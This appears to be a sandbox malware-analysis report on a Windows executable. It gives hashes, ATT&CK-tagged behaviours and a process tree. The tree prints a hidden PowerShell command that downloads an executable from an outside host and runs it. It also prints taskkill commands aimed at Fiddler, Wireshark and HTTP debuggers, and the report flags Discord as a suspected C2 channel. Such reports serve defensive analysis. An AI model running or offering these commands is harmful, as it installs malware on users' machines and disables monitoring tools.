c3c9cd5e3767cd742ead9291cb42ca86648306efc705b32ab6571162565c6693

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/07/2026, 06:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Size 1.3MB
Sample260714-hhqk8sf14k
SHA256 c3c9cd5e3767cd742ead9291cb42ca86648306efc705b32ab6571162565c6693
MD5 74f2f49708bcc7f5dc6a52d215700b62
SHA1 0dbccf551ac55fdce7bd10e4c25294643064a790
SHA512 5f47e6d12bea7d567d20cfa01f87c888e7e5285e5cc1e3722444c55447bdfef362abb2019296f44dec1c9fd9a315a70ee0370c223ed77cc6de4e9358078bd8f2
SSDEEP 24576:2bebF5onTJJF+c/cvTVdcbBNPmL9oEeiyiKnvPcvHx+o0+O93l0fZM:/bF5onT16E9Num/irKnvPcvR+V+O93+x
TLSH
T17F55AE47A2B510F9D1B7C138C6469A07EB72785913209FDB13E09A782F63AE16E3F711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5620	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com
27	discord.com
32	discord.com
34	discord.com

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_797909891\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_597453260\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_387531652\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1081675108\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1081675108\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1143911775\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_597453260\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_387531652\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1081675108\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1081675108\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1143911775\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1143911775\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5792_1143911775\sets.json	msedge.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
256	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1452	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
2828	taskkill.exe
2400	taskkill.exe
1636	taskkill.exe
2600	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134284850927508047"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{C2BD085D-700A-411F-AC24-9249C06A4116}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{501CE706-428A-4828-8F01-86D01EBB2C0D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
4844	msedge.exe
4844	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5792	msedge.exe
5792	msedge.exe
5792	msedge.exe
5792	msedge.exe
5792	msedge.exe
5792	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5620	powershell.exe
Token: SeDebugPrivilege	2828	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	2400	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5792	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 6084	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	86
PID 6084 wrote to memory of 4104	6084	cmd.exe	88
PID 4104 wrote to memory of 5620	4104	cmd.exe	90
PID 1304 wrote to memory of 5792	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	91
PID 1304 wrote to memory of 4056	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	92
PID 1304 wrote to memory of 5056	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	93
PID 1304 wrote to memory of 4348	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	94
PID 1304 wrote to memory of 1076	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	95
PID 1304 wrote to memory of 5676	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	96
PID 1304 wrote to memory of 3780	1304	2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	97
PID 5792 wrote to memory of 3752	5792	msedge.exe	104
PID 5792 wrote to memory of 1452	5792	msedge.exe	106
PID 5792 wrote to memory of 2016	5792	msedge.exe	107
PID 5792 wrote to memory of 2016	5792	msedge.exe	107
PID 5792 wrote to memory of 2004	5792	msedge.exe	108
PID 5792 wrote to memory of 2004	5792	msedge.exe	108
PID 5792 wrote to memory of 2004	5792	msedge.exe	108
PID 5792 wrote to memory of 2536	5792	msedge.exe	109
PID 5792 wrote to memory of 2536	5792	msedge.exe	109
PID 5792 wrote to memory of 2536	5792	msedge.exe	109
PID 5792 wrote to memory of 5788	5792	msedge.exe	110
PID 5792 wrote to memory of 5788	5792	msedge.exe	110
PID 5792 wrote to memory of 5788	5792	msedge.exe	110
PID 5792 wrote to memory of 3420	5792	msedge.exe	111
PID 5792 wrote to memory of 2192	5792	msedge.exe	112
PID 5792 wrote to memory of 3420	5792	msedge.exe	111
PID 5792 wrote to memory of 3420	5792	msedge.exe	111
PID 5792 wrote to memory of 2192	5792	msedge.exe	112
PID 5792 wrote to memory of 2192	5792	msedge.exe	112
PID 5056 wrote to memory of 2828	5056	cmd.exe	113
PID 1076 wrote to memory of 256	1076	cmd.exe	114
PID 4348 wrote to memory of 2600	4348	cmd.exe	115
PID 5676 wrote to memory of 2400	5676	cmd.exe	116
PID 5792 wrote to memory of 1900	5792	msedge.exe	117
PID 5792 wrote to memory of 1900	5792	msedge.exe	117
PID 4056 wrote to memory of 1636	4056	cmd.exe	119
PID 5792 wrote to memory of 1520	5792	msedge.exe	120
PID 5792 wrote to memory of 1520	5792	msedge.exe	120
PID 5792 wrote to memory of 1520	5792	msedge.exe	120
PID 5792 wrote to memory of 2312	5792	msedge.exe	122
PID 5792 wrote to memory of 2516	5792	msedge.exe	123
PID 5792 wrote to memory of 2312	5792	msedge.exe	122
PID 5792 wrote to memory of 2516	5792	msedge.exe	123
PID 5792 wrote to memory of 4916	5792	msedge.exe	124
PID 5792 wrote to memory of 5040	5792	msedge.exe	125
PID 5792 wrote to memory of 4916	5792	msedge.exe	124
PID 5792 wrote to memory of 4748	5792	msedge.exe	127
PID 5792 wrote to memory of 1620	5792	msedge.exe	128
PID 5792 wrote to memory of 1620	5792	msedge.exe	128
PID 5792 wrote to memory of 3060	5792	msedge.exe	131
PID 5792 wrote to memory of 3060	5792	msedge.exe	131
PID 5792 wrote to memory of 5664	5792	msedge.exe	134
PID 5792 wrote to memory of 4532	5792	msedge.exe	135
PID 5792 wrote to memory of 2132	5792	msedge.exe	136
PID 5792 wrote to memory of 5976	5792	msedge.exe	137
PID 5792 wrote to memory of 5976	5792	msedge.exe	137
PID 5792 wrote to memory of 3264	5792	msedge.exe	141
PID 5792 wrote to memory of 3264	5792	msedge.exe	141
PID 5792 wrote to memory of 1708	5792	msedge.exe	142
PID 5792 wrote to memory of 1708	5792	msedge.exe	142
PID 5792 wrote to memory of 788	5792	msedge.exe	143
PID 5792 wrote to memory of 788	5792	msedge.exe	143
PID 5792 wrote to memory of 4844	5792	msedge.exe	144
PID 5792 wrote to memory of 4152	5792	msedge.exe	145

C:\Users\Admin\AppData\Local\Temp\2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-14_74f2f49708bcc7f5dc6a52d215700b62_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK283735.exe; Start-Process -FilePath $env:TEMP\BK283735.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK283735.exe; Start-Process -FilePath $env:TEMP\BK283735.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK283735.exe; Start-Process -FilePath $env:TEMP\BK283735.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/kw3
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x360,0x7ff917d3c188,0x7ff917d3c194,0x7ff917d3c1a0
    3⤵
    PID:3752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1660,i,11696477889150104824,15799359654506752822,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=2864 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2184,i,490620201150083468,2290866669240497873,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:13
    3⤵
    PID:2016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3228,i,7975028000597790963,5169098196211881810,2097152 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
    3⤵
    PID:2004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3232,i,15261402119362570655,9632300533371012089,2097152 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
    3⤵
    PID:2536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1528,i,2718719910266410083,12464346734589373990,262144 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=2748 /prefetch:2
    3⤵
    PID:5788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4224,i,265807419404225389,7488792609957943993,2097152 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:9
    3⤵
    PID:3420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,12802881804178035915,10934336086668365852,2097152 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:1
    3⤵
    PID:2192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,6517188486540297593,2055185641911878655,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
    3⤵
    PID:1900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5316,i,16568791005269477963,7040879071009168558,2097152 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:1
    3⤵
    PID:1520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5580,i,14031694429677895693,3164036736368298175,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:14
    3⤵
    PID:2312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,12200281653782630719,1256526176148711030,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:2516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3176,i,10673807292196702607,2104987224828916986,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:12
    3⤵
    PID:4916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5304,i,9852838188301360343,11915513480715709763,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6596 /prefetch:14
    3⤵
    - Modifies registry class
    PID:5040
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3660,i,1517817252835740245,14511002688353101004,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:14
    3⤵
    PID:1888
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3660,i,1517817252835740245,14511002688353101004,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:14
    3⤵
    PID:4748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6812,i,132658008589472602,12716585946595069472,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:14
    3⤵
    PID:1620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4480,i,10985322202925924313,8438850534149235025,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
    3⤵
    PID:3060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3896,i,11452439175498614824,6251243654913297473,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:14
    3⤵
    PID:5664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7180,i,5487319581250861589,9139020860443594098,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=7264 /prefetch:14
    3⤵
    PID:4532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7204,i,10531954293888001698,16457489513155739128,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=7116 /prefetch:14
    3⤵
    PID:2132
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5776,i,6737026902956412351,11282670233767163899,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:14
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5880,i,7187275813673846833,17736920235128671282,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
    3⤵
    PID:3264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,1981170368305611185,8878649284676955371,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:14
    3⤵
    PID:1708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=932,i,6596117024789884191,12404535466501025015,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
    3⤵
    PID:788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6916,i,6502482554418413835,15305311022751341443,262144 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=7064 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7248,i,6251258275291157123,17060281692815790898,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6904 /prefetch:14
    3⤵
    PID:4152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4996,i,2904130669180420732,2496571311068840171,524288 --field-trial-handle=2752,i,18220554271242145188,5674060496671590625,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
    3⤵
    PID:3152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
